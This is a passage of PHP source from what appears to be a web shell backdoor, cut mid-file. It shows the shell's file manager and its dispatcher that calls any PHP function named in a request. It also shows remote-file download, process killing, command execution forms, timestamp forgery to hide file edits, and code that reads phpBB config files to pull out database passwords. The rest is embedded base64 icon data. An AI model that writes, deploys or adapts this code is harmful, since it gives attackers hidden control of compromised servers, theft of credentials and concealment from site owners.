$row[] = "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<div class=barheader>[+] ";
if (!empty($fx_infohead)) { echo $fx_infohead; }
else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
echo " [+]</div>
";
echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
"<table class=explorer>";
foreach($table as $row) {
echo "<tr>";
foreach($row as $v) {echo "<td>".$v."</td>";}
echo "</tr>
";
}
echo "</table>".
"<script>".
"function ls_setcheckboxall(status) {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
"}".
"function ls_reverse_all() {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
"}".
"</script>".
"<div align=\"right\">".
"<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
"<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
}
echo "<select name=x><option value=\"".$x."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff) {
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select> <input type=submit value=\"Confirm\"></div>";
echo "</form>";
}
}
if ($x == "tools")
{
}
if ($x == "phpfsys") {
echo "<div align=left>";
$fsfunc = $phpfsysfunc;
if ($fsfunc=="copy") {
if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
}
elseif ($fsfunc=="rename") {
if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
}
elseif ($fsfunc=="chmod") {
if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
}
elseif ($fsfunc=="read") {
$hasil = @file_get_contents($arg1);
echo "<b>Filename:</b> $arg1<br>";
echo "<textarea cols=150 rows=20>";
echo $hasil;
echo "</textarea>
";
}
elseif ($fsfunc=="write") {
if(@file_put_contents($d.$arg1,$arg2)) {
echo "<b>Saved!</b> ".$d.$arg1;
}
else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
}
elseif ($fsfunc=="downloadbin") {
$handle = fopen($arg1, "rb");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
fclose($r);
fclose($handle);
}
elseif ($fsfunc=="download") {
$text = implode('', file($arg1));
if ($text) {
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
fclose($r);
}
else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
}
elseif ($fsfunc=='mkdir') {
$thedir = $d.$arg1;
if ($thedir != $d) {
if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
}
else { echo "Couldn't create current dir:<b> $thedir</b>"; }
}
elseif ($fsfunc=='fwritabledir') {
function recurse_dir($dir,$max_dir) {
global $dir_count;
$dir_count++;
if( $cdir = @dir($dir) ) {
while( $entry = $cdir-> read() ) {
if( $entry != '.' && $entry != '..' ) {
if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
if ($dir_count > $max_dir) { return; }
echo "[".$dir_count."] ".$dir.$entry."
";
recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
}
}
}
$cdir->close();
}
}
if (!$arg1) { $arg1 = $d; }
if (!$arg2) { $arg2 = 10; }
echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
echo "<pre>";
recurse_dir($arg1,$arg2);
echo "</pre>";
$total = $dir_count - 1;
echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
}
else {
if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
else {
if ($hasil = $fsfunc($arg1)) {
echo "<b>Result of $fsfunc $arg1:</b><br>";
if (!is_array($hasil)) { echo "$hasil
"; }
else {
echo "<pre>";
foreach ($hasil as $v) { echo $v."
"; }
echo "</pre>";
}
}
else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
}
}
echo "</div>
";
}
if ($x == "processes") {
echo "<div class=barheader>.: Processes :.</div>";
if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
else { $handler = "tasklist"; }
$ret = myshellexec($handler);
if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
else {
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {
$y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
}
else {
$y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
}
$ret = htmlspecialchars($ret);
if (!$win) {
if ($pid) {
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("
",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++) {
if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
}
$prcs = array();
foreach ($stack as $line) {
if (!empty($line)) {
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
}
else {
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("
",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$stack[0]=str_replace("Image Name","ImageName",$stack[0]);
$stack[0]=str_replace("Session Name","SessionName",$stack[0]);
$stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
$head = explode(" ",$stack[0]);
$stack = array_slice($stack,1);
$head = array_values($head);
if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++) {
if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
}
$prcs = array();
unset($stack[0]);
foreach ($stack as $line) {
if (!empty($line)) {
$line = explode(" ",$line);
$line[4] = str_replace(".","",$line[4]);
$line[4] = intval($line[4]) * 1024;
unset($line[5]);
$prcs[] = $line;
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<table class=explorer>";
foreach($tab as $i=>$k) {
echo "<tr>";
foreach($k as $j=>$v) {
if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
echo "<td>".$v."</td>";
}
echo "</tr>";
}
echo "</table>";
}
}
if ($x == "f") {
echo "<div align=left>";
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("info","info"),
array("html","html"),
array("txt","txt"),
array("Code","code"),
array("Session","phpsess"),
array("exe","exe"),
array("SDB","sdb"),
array("img","img"),
array("ini","ini"),
array("download","download"),
array("notepad","notepad"),
array("edit","edit")
);
echo "<b>Viewing file: <img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t) {
if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info") {
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win) {
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
$fi = fopen($d.$f,"rb");
if ($fi) {
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++) {
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i])) {
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= " "; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows) {
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
echo "<table border=1 bgcolor=#666666>".
"<tr><td bgcolor=#666666>".$a0."</td>".
"<td bgcolor=#000000>".$a1."</td>".
"<td bgcolor=#000000>".$a2."</td>".
"</tr></table><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
<nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
<P>";
}
elseif ($ft == "html") {
if ($white) {@ob_clean();}
echo $r;
if ($white) {jalanGexit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess") {
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe") {
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code") {
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
$arr = explode("
",$r);
if (count($arr == 18)) {
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {jalanGexit();}
echo "</div>";
}
elseif ($ft == "download") {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad") {
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img") {
$inf = getimagesize($d.$f);
if (!$white) {
if (empty($imgsize)) {$imgsize = 50;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center><b>Size:</b> ";
$sizes = array("100");
foreach ($sizes as $v) {
echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>".$v."</u>";}
echo "</a> ";
}
echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
}
else {
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit") {
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("
",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
